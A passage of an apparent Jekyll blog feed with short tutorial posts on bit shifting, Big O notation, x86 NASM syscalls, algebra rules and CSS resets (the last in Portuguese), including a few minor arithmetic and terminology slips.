&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# Binary: 00000101
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Shift left by 2 positions
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# After shifting left by 2 positions, y will be:
# Binary: 00010100
# Decimal: 20
&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# 20
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# Binary: 00010100
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Shift right by 2 positions
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# After shifting right by 2 positions, y will be:
# Binary: 00000101
# Decimal: 5
&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# 5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Big O notation</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2019/Big-O-notation.html"/>
   <updated>2019-01-28T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2019/Big-O-notation</id>
   <content type="html">&lt;p&gt;Big O notation is used to describe the time spent by an algorithm to run.&lt;/p&gt;

&lt;h3 id=&quot;o1---constant-time&quot;&gt;\(O(1)\) - Constant time&lt;/h3&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;const x = 10
printf(&quot;Lorem ipsum&quot;)

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;ologn---log-time&quot;&gt;\(O(log(n))\) - Log time&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;for(int i = 1; i &amp;lt;= n; i = i * 2)
  print &quot;hello&quot;;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Notice the post operation of the for loop multiples the current value of i by 2, so &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;i&lt;/code&gt; goes from 1 to 2 to 4 to 8 to 16 to 32…&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;for(double i = 1; i &amp;lt; n; i = i * 1.02)
  print &quot;hello&quot;;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;As long as the number is &lt;strong&gt;greater than 1&lt;/strong&gt; and the result is repeatedly multiplied against itself (i = i * 1.02), that you are looking at a logarithmic algorithm&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;on-linear-time&quot;&gt;\(O(n)\) Linear time&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;for(int i = 0; i &amp;lt; n; i++)
  print &quot;hello&quot;;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;onlogn-nlogn&quot;&gt;\(O(n*log(n))\) nlog(n)&lt;/h3&gt;
&lt;p&gt;Think of this as a combination of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(log(n))&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(n)&lt;/code&gt;. The nesting of the for loops help us obtain the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(n*log(n))&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;for(int i = 0; i &amp;lt; n; i++)
  for(int j = 1; j &amp;lt; n; j = j * 2)
    print &quot;hello&quot;;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;on2---n-squared&quot;&gt;\(O(n^2)\) - n squared&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;for(int i = 0; i &amp;lt; n; i++)
  for(int j = 0; j &amp;lt; n; j++)
    print &quot;hello&quot;;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Is obtained easily by nesting standard for loops.&lt;/p&gt;

&lt;h3 id=&quot;o2n---exponential-time-example&quot;&gt;\(O(2^n)\) - exponential time example&lt;/h3&gt;
&lt;p&gt;When the algorithm specifies a growth rate that doubles every time the input data set is added.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;recursiveFibonacci&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;recursiveFibonacci&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;recursiveFibonacci&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;recursiveFibonacci&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 8&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;on---factorial-time&quot;&gt;\(O(n!)\) - factorial time&lt;/h3&gt;

&lt;p&gt;For example, the factorial of 5, or &lt;em&gt;5!&lt;/em&gt;, is:&lt;/p&gt;
&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;5 * 4 * 3 * 2 * 1 = 120
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We will find ourselves writing algorithms with factorial time complexity when calculating permutations and combinations.&lt;/p&gt;

&lt;p&gt;Those are basically NP problems (Nondeterministic Polynomial).&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Assembly x86 NASM and Registers</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2019/Assembly.html"/>
   <updated>2019-01-28T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2019/Assembly</id>
   <content type="html">&lt;p&gt;The processor has many register that are used to perform different operations. Bellow is a list with the processor register (prefixed with %) and the operation corresponding to the data inside of it.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;NR&lt;/th&gt;
      &lt;th&gt;syscall name&lt;/th&gt;
      &lt;th&gt;references&lt;/th&gt;
      &lt;th&gt;%eax&lt;/th&gt;
      &lt;th&gt;arg0 (%ebx)&lt;/th&gt;
      &lt;th&gt;arg1 (%ecx)&lt;/th&gt;
      &lt;th&gt;arg2 (%edx)&lt;/th&gt;
      &lt;th&gt;arg3 (%esi)&lt;/th&gt;
      &lt;th&gt;arg4 (%edi)&lt;/th&gt;
      &lt;th&gt;arg5 (%ebp)&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;restart_syscall&lt;/td&gt;
      &lt;td&gt;man/ cs/&lt;/td&gt;
      &lt;td&gt;0x00&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;exit&lt;/td&gt;
      &lt;td&gt;man/ cs/&lt;/td&gt;
      &lt;td&gt;0x01&lt;/td&gt;
      &lt;td&gt;int error_code&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;fork&lt;/td&gt;
      &lt;td&gt;man/ cs/&lt;/td&gt;
      &lt;td&gt;0x02&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;3&lt;/td&gt;
      &lt;td&gt;read&lt;/td&gt;
      &lt;td&gt;man/ cs/&lt;/td&gt;
      &lt;td&gt;0x03&lt;/td&gt;
      &lt;td&gt;unsigned int fd&lt;/td&gt;
      &lt;td&gt;char *buf&lt;/td&gt;
      &lt;td&gt;size_t count&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Here is a simple Assembly&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;section .data
    hello db &apos;Hello, World!&apos;, 0

section .text
    global _start

_start:
    ; write system call
    mov eax, 4           ; system call number for write
    mov ebx, 1           ; file descriptor (stdout)
    mov ecx, hello       ; message to write
    mov edx, 13          ; message length
    int 0x80             ; invoke the kernel

    ; exit system call
    mov eax, 1           ; system call number for exit
    xor ebx, ebx         ; exit status (0)
    int 0x80             ; invoke the kernel

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Data Section&lt;/strong&gt;
The data section, also known as the “.data” section, is used to declare and allocate memory for initialized data values. This section is typically used for storing static variables, strings, arrays, and other data that have predefined values.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;db&lt;/code&gt; directive stands for “define byte” and is used to allocate memory for individual bytes. It allows you to declare and initialize byte-sized data values.&lt;/li&gt;
&lt;/ul&gt;

</content>
 </entry>
 
 <entry>
   <title>Algebra for the Practical Man</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2019/algebra.html"/>
   <updated>2019-01-28T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2019/algebra</id>
   <content type="html">&lt;h2 id=&quot;simplify-equations&quot;&gt;Simplify Equations&lt;/h2&gt;
&lt;p&gt;When simplifying an equation organize them in alphabetical order with the exponent in descending order. If any conflict is set use the exponent as a rule of thumb to order the equation.&lt;/p&gt;

&lt;h2 id=&quot;multiplying&quot;&gt;Multiplying&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Monomials&lt;/strong&gt;
When multiplying monomials.&lt;/p&gt;

&lt;p&gt;If multiplying by symbol or literal numbers, the coefficients never change and only the letters are multiplied.
\(a \times (-3b^4) = -3ab^4\)&lt;/p&gt;

&lt;p&gt;If both terms has numerical coefficients, multiply both than multiply the literal part like the previous one:
\((4x) . (7y^2) = 28xy^2\)&lt;/p&gt;

&lt;p&gt;When multiplying numbers with exponent, just sum the original exponents:
\((4x^2) . (7x^2) = 28x^4\)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Polynomial&lt;/strong&gt;&lt;/p&gt;

\[4(5-2) = 4 \times 3 = 12\]

\[(4.2) - (4.5) = 4 \times 3 = 12\]

&lt;p&gt;The product of any two polynomials is found by multiplying each term of one by each term of the other and adding the result:&lt;/p&gt;

\[(2a + c)(x - 3y + 5d) = 2ax - 6ay + 10ad + cx - 3cy + 5cd\]

&lt;p&gt;The square of the SUM of two terms is the sum of their separate squares PLUS twice their product, and the square of the difference of two terms is the sum of their square MINUS twice their product.&lt;/p&gt;

\[(x + y)^2 = x^2 + y^2 + 2xy\]

\[(x - y)^2 = x^2 + y^2 - 2xy\]

&lt;p&gt;The product of the sum and difference of two terms is equals the difference of their squares.&lt;/p&gt;

\[(x+y)(x-y) = x^2 - y^2\]

&lt;h2 id=&quot;dividing&quot;&gt;Dividing&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Monomials&lt;/strong&gt;
To find the quotient of two monomials, divide coefficients, cancel commmon literal factors. If the same letter with different exponent appear, take the difference of the exponent.&lt;/p&gt;

\[\frac{18x^2y^6z}{6x^6y^2} = \frac{3y^4}{x^4}\]

&lt;p&gt;&lt;strong&gt;Polynomials&lt;/strong&gt;
To divide polynomials is used an algorithm called &lt;strong&gt;Long Division&lt;/strong&gt;.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Step 1:&lt;/strong&gt; Divide the first term of the dividend (6x3) by the first term of the divisor (x2), and put that as the first term in the quotient (6x).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Step 2&lt;/strong&gt;: Multiply the divisor by that answer, place the product (6x3 + 24x2 + 18x) below the dividend.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Step 3:&lt;/strong&gt; Subtract to create a new polynomial (-12x2 - 16x + 25).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Step 4:&lt;/strong&gt; Repeat the same process with the new polynomial obtained after subtraction.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;exponents-laws&quot;&gt;Exponents laws&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;
\[a^m \times a^n = a^{m+n}\]
  &lt;/li&gt;
  &lt;li&gt;
\[\frac{a^m}{a^n} = a^{m-n}\]
  &lt;/li&gt;
  &lt;li&gt;
\[(a^n)^m = a^{m.n}\]
  &lt;/li&gt;
  &lt;li&gt;
\[(ab)^m = a^m b^m\]
  &lt;/li&gt;
  &lt;li&gt;
\[(\frac{a}{b})^m = \frac{a^m}{b^m}\]
  &lt;/li&gt;
  &lt;li&gt;
\[a^0 = 1\]
  &lt;/li&gt;
  &lt;li&gt;
\[\frac{1}{a^{-n}} = a^n\]
  &lt;/li&gt;
  &lt;li&gt;
\[a^{1/m} = \sqrt[m]{a}\]
  &lt;/li&gt;
  &lt;li&gt;
\[(\sqrt[n]{a})^m = \sqrt[n]{a^m}\]
  &lt;/li&gt;
  &lt;li&gt;
\[a^{m/n} = \sqrt[n]{a^m}\]
  &lt;/li&gt;
  &lt;li&gt;
\[\sqrt[n]{ab} = \sqrt[n]{a} \times \sqrt[n]{b}\]
  &lt;/li&gt;
  &lt;li&gt;
\[\sqrt[n]{\frac{a}{b}} = \frac{\sqrt[n]{a}}{\sqrt[n]{b}}\]
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;equations&quot;&gt;Equations&lt;/h2&gt;
&lt;p&gt;An equation is said to be a &lt;strong&gt;conditional equation&lt;/strong&gt; or &lt;strong&gt;equation of condition&lt;/strong&gt; when it fulfills or satisfies the condition expressed, eg:&lt;/p&gt;

\[4x + 1 = 8x - 7$ when $x = 2\]

&lt;p&gt;The two parts of the equation that are connected by the equal sign are called &lt;strong&gt;members&lt;/strong&gt; of the equation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rules&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Any term of an equation can be transposed to the opposite member changing their sign.&lt;/li&gt;
  &lt;li&gt;Transpose the equation so that all terms which contain the unknow quantity are in the first member and all other terms are in the second member.&lt;/li&gt;
  &lt;li&gt;The begin of the alphabet is used to describe know variables, as ($a, b, c$) and the ending of the alphabet to describe unknow variables, as ($x,  y$).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;An equation of any degree is said to be solved when a value of the unknow is found which satisfies the equation. Quadratic equations and beyond can have more than one solution.&lt;/p&gt;

&lt;p&gt;Exponential equations is when you have an unknow value as exponent.&lt;/p&gt;

&lt;h3 id=&quot;good-links&quot;&gt;Good links:&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://algebrarules.com&quot;&gt;https://algebrarules.com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>CSS resets - ress.css</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2016/css-resets.html"/>
   <updated>2016-07-03T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2016/css-resets</id>
   <content type="html">&lt;p&gt;Para o estilo padrão dos nossos elementos HTML, ter que lidar com a diferente implementação de cada navegador é algo bem complicado.&lt;/p&gt;

&lt;p&gt;Ao longo do tempo lidamos com isso de diferentes formas:&lt;/p&gt;

&lt;p&gt;A forma mais básica é remover &lt;strong&gt;margin&lt;/strong&gt; e &lt;strong&gt;padding&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-css highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;margin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;uma-solução-moderna&quot;&gt;Uma solução moderna&lt;/h3&gt;

&lt;p&gt;Hoje em dia, temos algumas soluções que ficaram mais populares. Existe o &lt;a href=&quot;https://github.com/necolas/normalize.css&quot;&gt;Normalize.css&lt;/a&gt;, o qual não é considerado um reset, pois o que ele faz é:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Garantir que o estilo aplicado pelos diferentes navegadores seja o mesmo.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;O que isso quer dizer?&lt;/p&gt;

&lt;p&gt;Vejamos esse exemplo do que o &lt;strong&gt;Normalize&lt;/strong&gt; faz para normalizar o &lt;strong&gt;h1&lt;/strong&gt; no Chrome:&lt;/p&gt;

&lt;p&gt;O elemento &lt;strong&gt;h1&lt;/strong&gt;, por padrão no Chrome, tem esse estilo:&lt;/p&gt;

&lt;div class=&quot;language-css highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;h1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;block&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;2em&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;-webkit-margin-before&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0.67em&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;-webkit-margin-after&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0.67em&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;-webkit-margin-start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0px&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;-webkit-margin-end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0px&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;font-weight&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bold&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Porém, quando o &lt;strong&gt;h1&lt;/strong&gt; está dentro de uma &lt;strong&gt;section, article, aside ou nav&lt;/strong&gt;, esses valores são modificados pelo CSS default do chrome:&lt;/p&gt;

&lt;div class=&quot;language-css highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;:-webkit-any&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;article&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;aside&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;nav&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;section&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;h1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;1.5em&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;-webkit-margin-before&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0.83em&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;-webkit-margin-after&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0.83em&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;O que o &lt;a href=&quot;https://github.com/necolas/normalize.css/blob/master/normalize.css#L154-L157&quot;&gt;normalize faz&lt;/a&gt; &lt;strong&gt;não&lt;/strong&gt; é zerar esses valores, e sim garantir que o &lt;strong&gt;h1&lt;/strong&gt; tenha sempre os mesmos valores independente do contexto:&lt;/p&gt;

&lt;div class=&quot;language-css highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;h1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;2em&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;margin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0.67em&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Há algum tempo atrás, eu encontrei um projeto de um dos &lt;em&gt;co-autores&lt;/em&gt; do Normalize, chamado &lt;a href=&quot;https://github.com/jonathantneal/sanitize.css&quot;&gt;sanitize&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Render elements consistently. Style with best practices&lt;/p&gt;
&lt;/blockquote&gt;

